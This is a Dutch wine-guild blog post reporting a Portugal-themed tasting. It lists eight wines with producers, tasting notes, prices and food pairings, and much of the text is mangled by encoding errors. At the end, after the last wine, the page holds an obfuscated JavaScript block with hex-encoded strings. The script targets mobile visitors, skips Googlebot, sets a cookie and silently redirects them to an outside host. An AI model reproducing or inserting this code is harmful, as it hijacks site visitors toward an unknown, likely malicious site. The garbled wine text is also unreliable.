Volgende Proeverij:

  • 00 D
  • 00 U
  • 00 M
  • 00 S
+

2017 Wijngilde Twente – proeverij met gastdocent Thijs Elbrink, sommelier bij ’t Nonnetje, Harderwijk. Thema: Portugal

Categories: Twente Proefverslagen,Uncategorized

Alle wijnen zijn verkregen via Roel Helming van a�?Ovinoa�? in samenwerking met Mick Kooistra van a�?Horizon Winesa�?.
Alle spijzen zijn verkregen via Neves Wijnimport (Portugal specialist) in samenwerking met Restaurant a��t Nonnetje.

Wijn 1

A� Wijn:
Areal Vinho Verde Superior 2016A�A�A� DOC A� 11,5%
Producent:
JosA� de Campos Reis Areal
Trofa, Portugal
Beoordeling:
Stuivend witte wijn; citrus, grapefruit, appel, vet zoetje, strak en fris. Erg lekkere terraswijn.
Leverancier: zie boven
5,60 euro ex BTW
Bijzonderheden:
Druivensoorten:A�Alvarinho, Loureiro.

Wijn 2

A� Wijn:
Fossil a�� Vale da CapuchaA�13%
Vinho Regional LisboaA� 2014
Producent:
Pedro Marques, Torres Vedras
Beoordeling:
mooie zuren, verfrissende mineralen, tonen van citroen, peer en herkenbare zilte invloeden, hint van verse zuurkool.
Leverancier:A�zie boven
9,45 euro ex BTW
Bijzonderheden:
Samenstelling van de wijn: 40% Arinto, 40% FernA?o Pires, 20% Gouveio. Terroir: alluviaal, kalksteen (vergl. Chablis). Wijngaarden: 60 km boven Lissabon en 8A� km van de Atlantische kust. We kregen hier licht gefrituurde pasteis de bacalhau, “Bacalhao de Boulinhos” A� (aardappel, kabeljauw, peterselie en wat zout) bij a�� verrukkelijk!

Wijn 3

A� Wijn:
Vino Blanco A� 2014 A� A� A� A� 13%
Producent:
Navazos Niepoort 201 www.niepoort-vinhos.com
Sanlucar de Barrameda, Jerez
Beoordeling:
a�?Unique wine, with Sherry like aromas, limestone and chalk dust notes. A wine full of character, vibrant, fresh and mineral, showing the pure expression of chalky soil.a�?
Leverancier:A�zie boven
17,50 euro ex BTW
Bijzonderheden:
100% Palomino Fino druiven, van de Albariza wijngaarden in het Spaanse Jerez de la Frontera. Het gaat om niet versterkte wijnen, die na 5 tot 6 jaar worden samengevoegd tot blends. 8 maanden gerijpt in botaa��s (oude grote vaten van Amerikaans eiken).
Hierbij geserveerd: Queijo do Serra da Estrela, karakteristieke rauwmelkse Portugese schapenkaas. De kaas wordt gemaakt met plantaardig stremsel. Deze a�?lepelkaasa�� (op lepeltjes geserveerd) wordt door een strook van geweven stof in zijn vorm gehouden en de smaak is fantastisch.

Wijn 4

A� Wijn:
Vinho Tinto 2013
Quinta de SaesA� D.O.P.A� A�A�A�A� 13%
Producent:
Quinta da Pellada a�� Unipessoal, Pinhancos a�� Centraal Dao, Portugal
Beoordeling:
Aards, ziltig, rozijnen, fruit
Leverancier:A�zie boven
8,75 euro ex BTW
Bijzonderheden:

Wijnsamenstelling: Touriga-Nacional, Jaen en Tinta Roriz variA�teiten. a�?During 9 months this wine aged in second year french oak.a�?
Hierbij werden twee soorten Portugese worst – de chouriA�oA�en de morcelasA�-A�een bloedworst – geserveerd.

Wijn 5

A� Wijn:
Rapariga da Quinta A�A�A�A�A�A�A� 14%
Colheita Selecctionado
Vinho Regional Alentejano 2015
Producent:
Luis Duarte Vinhos, Lda
Beoordeling:
chocolade, tabak, kruidig, vriendelijke wijn met lange afdronk.
Leverancier:A�zie boven
5,50 euro ex BTW
Bijzonderheden:
Samenstelling: Aragonez, Trincadeira, Cabernet Sauvignon.
Rijping: 12 maanden op Frans eiken vaten.

Wijn 6

A� Wijn:
Vertente Douro 2014
TintoA�A� DOCA�A�A�A�A�A�A�A� A�A�A�A� 12,5%
Producent:
Niepoort Vinhos S.A., Gaia, Pinhao River, Douro, Portugal
Beoordeling:
mooie complexe wijn, als een dessert, chocolade, vanille, roomboter.
Leverancier:A�zie boven
15,75 euro ex BTW
Bijzonderheden:
Afkomstig van wijngaarden Quinta de NA?poles en Vale do Pinhao. Druiven: o.a. Tinta Roriz, Touriga Franca e.a. Fermentatie in RVS vaten, gebotteld in juni 2016, rijping gedurende 18 maanden in 228 l Frans eiken vaten.

Wijn 7

A� Wijn:
Porto Niepoort
10 jaar oude witte port,
gebotteld in 2016
Producent:
Niepoort Vinhos S.A., Gaia, Portugal
Beoordeling:
Prachtig roodgoud oranje van kleur. Complex aroma van gedroogd fruit, dat wordt gedomineerd door sinaasappel-schil en gedroogde vijgen. Tonen van walnoten, geroosterde amandelen en bloemen. In de mond is deze port heel fijn en evenwichtig met een levendige zuurgraad.
Leverancier:A�zie boven
27,20 euro ex BTW
Bijzonderheden:
Druivenrassen: CA?dega, Rabigato, Viosinho, Arinto, Gouveio.
Hierbij geserveerd: PastA�is de BelA�m of pastA�is de nata a�� bladerdeeggebakjes gevuld met vanilleroom: is een van de meest bekende zoetigheden uit de Portugese keuken.

Wijn 8

A� Wijn:
Barbeito MadeiraA�A�A�A�A�A�A�A�A�A�A� 19%
10 jaar oude madeira
Malvasia, Reserva Velha
Producent:
Barbeito, Vinho Madeira Wine
http://www.vinhosbarbeito.com
leuke site!
Beoordeling:
Heldere gouden kleur. Florale aroma’s, rijpe citrus, honing en amandelen. Veel diepte, vol en persistent.
Leverancier:A�zie boven
29,50 euro ex BTW
Bijzonderheden:
Deze madeira wordt nog altijd volgens de traditionele methoden (canteiro- methode) gemaakt en gerijpt. Het is gemaakt van een blend van wijnen van de malvasia druif. GerijptA� gedurende 10 jaar op grote eikenhouten voeders.
Wikipedia over de canteiro-methode: Men noemt de verwarming door de zon zoals die nog door kleinere en conservatieve barros de “canteiro-methode”. De traditionele huizen laten hun wijn vijf jaar lang op vaten rusten en verwarmen door de zon.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Geef een reactie